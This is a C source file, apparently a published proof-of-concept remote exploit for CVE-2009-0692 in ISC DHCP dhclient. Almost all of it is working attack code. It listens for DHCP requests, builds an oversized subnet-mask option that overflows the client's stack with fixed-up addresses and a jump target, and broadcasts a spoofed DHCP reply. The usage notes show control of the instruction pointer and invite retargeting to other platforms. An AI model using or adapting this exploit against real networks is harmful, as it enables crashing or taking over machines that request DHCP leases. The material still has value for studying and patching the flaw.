/*
* cve-2009-0692.c
*
* ISC DHCP dhclient < 3.1.2p1 Remote Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0692
*
* Stack-based buffer overflow in the script_write_params method in
* client/dhclient.c in ISC DHCP dhclient 4.1 before 4.1.0p1, 4.0 before
* 4.0.1p1, 3.1 before 3.1.2p1, 3.0, and 2.0 allows remote DHCP servers to
* execute arbitrary code via a crafted subnet-mask option.
*
* Usage:
*
* $ gcc cve-2009-0692.c -o cve-2009-0692 -lpcap -ldnet
* $ sudo ./cve-2009-0692
* [+] listening on eth0: ip and udp and src port 68 and dst port 67
* [+] snarfed DHCP request from 00:19:d1:90:e5:4a with xid 0x120f8920
* [+] sending malicious DHCP response to 00:19:d1:90:e5:4a with xid 0x120f8920
*
* $ gdb /sbin/dhclient
* ...
* DHCPREQUEST on eth0 to 255.255.255.255 port 67
* DHCPACK from 0.6.9.2
* ...
* Program received signal SIGSEGV, Segmentation fault.
* 0x41414141 in ?? ()
*
* Notes:
*
* Only tested with dhclient 3.1.2 on 32-bit Gentoo / GCC 4.3.3. Feel free
* to tweak for your target platform. Depends on libdnet and libpcap.
*
* READABLE_1 and READABLE_2 need to be readable addresses as we fix up the
* stack during our overflow. After a successful return from the vulnerable
* script_write_params function, EIP will be set to JMP_TARGET.
*
* Exclusively for use at DEFCON next week. ;-)
*/
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <dnet.h>
#include <pcap.h>
#define READABLE_1 "\xa8\xfc\x0b\x08" /* for es.client */
#define READABLE_2 "\xbc\x34\x0a\x08" /* for es.prefix */
#define JMP_TARGET "\x41\x41\x41\x41"
#define BPF_FILTER "ip and udp and src port 68 and dst port 67"
#define PKT_BUFSIZ 1514
#define DHCP_OP_REQUEST 1
#define DHCP_OP_REPLY 2
#define DHCP_TYPE_REQUEST 3
#define DHCP_TYPE_ACK 5
#define DHCP_OPT_REQIP 50
#define DHCP_OPT_MSGTYPE 53
#define DHCP_OPT_END 255
#define DHCP_CHADDR_LEN 16
#define SERVERNAME_LEN 64
#define BOOTFILE_LEN 128
#define DHCP_HDR_LEN 240
#define DHCP_OPT_HDR_LEN 2
#ifndef __GNUC__
# define __attribute__(x)
# pragma pack(1)
#endif
struct dhcp_hdr {
uint8_t op;
uint8_t hwtype;
uint8_t hwlen;
uint8_t hwopcount;
uint32_t xid;
uint16_t secs;
uint16_t flags;
uint32_t ciaddr;
uint32_t yiaddr;
uint32_t siaddr;
uint32_t giaddr;
uint8_t chaddr[DHCP_CHADDR_LEN];
uint8_t servername[SERVERNAME_LEN];
uint8_t bootfile[BOOTFILE_LEN];
uint32_t cookie;
} __attribute__((__packed__));
struct dhcp_opt {
uint8_t opt;
uint8_t len;
} __attribute__((__packed__));
#ifndef __GNUC__
# pragma pack()
#endif
void
process(u_char *data, const struct pcap_pkthdr *pkthdr, const u_char *pkt)
{
eth_t *raw;
struct ip_hdr *ip_h;
struct eth_hdr *eth_h;
struct udp_hdr *udp_h;
struct dhcp_hdr *dhcp_h;
struct dhcp_opt *dhcp_opt;
char *dev = data, *ptr;
char pktbuf[PKT_BUFSIZ], options[PKT_BUFSIZ], payload[PKT_BUFSIZ];
int opt_len, clen = pkthdr->caplen;
uint8_t msg_type = 0, payload_len = 0;
uint32_t yiaddr = 0;
/* packet too short */
if (clen < ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + DHCP_OPT_HDR_LEN) {
return;
}
eth_h = (struct eth_hdr *) pkt;
ip_h = (struct ip_hdr *) ((char *) eth_h + ETH_HDR_LEN);
udp_h = (struct udp_hdr *) ((char *) ip_h + IP_HDR_LEN);
dhcp_h = (struct dhcp_hdr *) ((char *) udp_h + UDP_HDR_LEN);
dhcp_opt = (struct dhcp_opt *) ((char *) dhcp_h + DHCP_HDR_LEN);
/* only care about REQUEST opcodes */
if (dhcp_h->op != DHCP_OP_REQUEST) {
return;
}
/* parse DHCP options */
while (1) {
if (dhcp_opt->opt == DHCP_OPT_MSGTYPE) {
if (dhcp_opt->len != 1) {
return;
}
memcpy(&msg_type, (char *) dhcp_opt + DHCP_OPT_HDR_LEN, dhcp_opt->len);
}
if (dhcp_opt->opt == DHCP_OPT_REQIP) {
if (dhcp_opt->len != 4) {
return;
}
memcpy(&yiaddr, (char *) dhcp_opt + DHCP_OPT_HDR_LEN, dhcp_opt->len);
}
if (dhcp_opt->opt == DHCP_OPT_END) {
break;
}
if (((char *) dhcp_opt - (char *) pkt) + DHCP_OPT_HDR_LEN + dhcp_opt->len > clen) {
break;
}
dhcp_opt = (struct dhcp_opt *) ((char *) dhcp_opt + DHCP_OPT_HDR_LEN + dhcp_opt->len);
}
/* only care about REQUEST msg types */
if (msg_type != DHCP_TYPE_REQUEST) {
return;
}
printf("[+] snarfed DHCP request from %s with xid 0x%08x\n", eth_ntoa(&eth_h->eth_src), dhcp_h->xid);
printf("[+] sending malicious DHCP response to %s with xid 0x%08x\n\n", eth_ntoa(&eth_h->eth_src), dhcp_h->xid);
/* construct stack payload */
memset(payload, 0, sizeof(payload));
ptr = payload;
memset(ptr, 0, 16);
ptr += 16;
memcpy(ptr, READABLE_1, 4);
ptr += 4;
memcpy(ptr, READABLE_2, 4);
ptr += 4;
memset(ptr, 0, 8);
ptr += 8;
memcpy(ptr, "\x04\x00\x00\x00", 4);
ptr += 4;
memset(ptr, 0, 28);
ptr += 28;
memcpy(ptr, JMP_TARGET, 4);
ptr += 4;
payload_len = ptr - payload;
/* dhcp header */
dhcp_h->op = DHCP_OP_REPLY;
memcpy(&dhcp_h->yiaddr, &yiaddr, 4);
/* normal dhcp options */
memset(options, 0, sizeof(options));
ptr = options;
memcpy(ptr, "\x35\x01\x05", 3);
ptr += 3;
memcpy(ptr, "\x36\x04\x00\x06\x09\x02", 6);
ptr += 6;
memcpy(ptr, "\x33\x04\x00\x09\x3a\x80", 6);
ptr += 6;
memcpy(ptr, "\x03\x04\x00\x06\x09\x02", 6);
ptr += 6;
memcpy(ptr, "\x06\x04\x00\x06\x09\x02", 6);
ptr += 6;
/* malicious subnet mask option */
memcpy(ptr, "\x01", 1);
ptr += 1;
memcpy(ptr, &payload_len, 1);
ptr += 1;
memcpy(ptr, payload, payload_len);
ptr += payload_len;
memcpy(ptr, "\xff", 1);
ptr += 1;
opt_len = ptr - options;
/* construct full packet payload */
memset(pktbuf, 0, sizeof(pktbuf));
ptr = pktbuf;
eth_pack_hdr(ptr, ETH_ADDR_BROADCAST, "\xc1\x1e\x20\x09\x06\x92", ETH_TYPE_IP);
ptr += ETH_HDR_LEN;
ip_pack_hdr(ptr, 0, IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len, 0x0692, IP_DF, 64, IP_PROTO_UDP, 34145792, IP_ADDR_BROADCAST);
ptr += IP_HDR_LEN;
udp_pack_hdr(ptr, 67, 68, UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
ptr += UDP_HDR_LEN;
memcpy(ptr, dhcp_h, DHCP_HDR_LEN);
ptr += DHCP_HDR_LEN;
memcpy(ptr, options, opt_len);
ptr += opt_len;
ip_checksum(pktbuf + ETH_HDR_LEN, IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
/* fire off malicious response */
raw = eth_open(dev);
if (!raw) {
fprintf(stderr, "[-] error opening raw socket on %s\n", dev);
exit(1);
}
eth_send(raw, pktbuf, ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
eth_close(raw);
}
void
usage(char **argv)
{
fprintf(stderr, "usage: %s [-i interface]\n", argv[0]);
exit(1);
}
int
main(int argc, char **argv)
{
int ch, ret;
char *dev = NULL;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program bfp;
pcap_t *ph;
opterr = 0;
while ((ch = getopt(argc, argv, "i:")) != -1) {
switch (ch) {
case 'i':
dev = optarg;
break;
default:
usage(argv);
}
}
if (!dev) {
dev = pcap_lookupdev(errbuf);
if (!dev) {
fprintf(stderr, "[-] couldn't find default interface: %s\n", errbuf);
exit(1);
}
}
ph = pcap_open_live(dev, PKT_BUFSIZ, 1, 1, errbuf);
if (!ph) {
fprintf(stderr, "[-] couldn't open interface %s: %s\n", dev, errbuf);
exit(1);
}
ret = pcap_compile(ph, &bfp, BPF_FILTER, 1, 0);
if (ret == -1) {
fprintf(stderr, "[-] couldn't parse BPF filter: %s\n", pcap_geterr(ph));
exit(1);
}
pcap_setfilter(ph, &bfp);
if (ret == -1) {
fprintf(stderr, "[-] couldn't set BPF filter: %s\n", pcap_geterr(ph));
exit(1);
}
printf("[+] listening on %s: %s\n", dev, BPF_FILTER);
pcap_loop(ph, -1, process, dev);
return 0;
}
<p>
Vulmon